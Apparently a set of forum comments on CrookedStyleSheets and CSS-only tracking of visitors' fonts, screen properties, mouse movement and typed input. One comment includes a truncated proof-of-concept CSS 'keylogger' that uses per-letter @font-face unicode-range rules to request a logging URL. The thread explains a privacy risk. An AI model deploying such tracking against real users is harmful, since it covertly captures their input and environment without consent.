CrookedStyleSheets

Generally yes, if you stick just to CSS you can log HTTP request initiated by user's interaction or user's environment. To name some environmental: locally installed fonts, viewport dimensions, colour depth, resolution etc. Interaction is anything pointer position related, focus management, and to some degree you can do simple kind of "keylogging" or text character presence detection. https://github.com/jbtronics/CrookedStyleSheets https://news.ycombinator.com/item?id=16157773

False: it is possible with just CSS [1][2] to track screen resolution, browser engine, fonts, mouse movements and inputs. [1] https://github.com/jbtronics/CrookedStyleSheets [2] https://github.com/maxchehab/CSS-Keylogging

Just one example of CSS-only tracking. Does not require JS: https://github.com/jbtronics/CrookedStyleSheets Other data that leak: User-Agent, Accept or Accept-Language, Accept-Encoding headers...

Direct link to the code https://github.com/jbtronics/CrookedStyleSheets

To some limited degree (you can detect presence, not position or number of occurences of character), you can do CSS only 'keylogging' even for non-reactive (sans JavaScript) input: you don't have to use attribute selector (which does't work without physical updates), but can exploit webfont with single letter `unicode-range` chunks. Posted it [1] to CrookedStyleSheets [2] some time ago: <!doctype html> <title>css keylogger</title> <style> @font-face { font-family: x; src: url(./log?a), local(Impact); unicode-range: U+61; } @font-face { font-family: x; src: url(./log?b), local(Impact); unicode-range: U+62; } @font-face { font-family: x; src: url(./log?c), local(Impact); unicode-range: U+63; } @font-face { font-family: x; src: url(./log?d), local(Impact); unicode-range: U+64; } input { font-family: x, 'Comic

Apparently a typo: https://github.com/jbtronics/CrookedStyleSheets/commit/c5d59...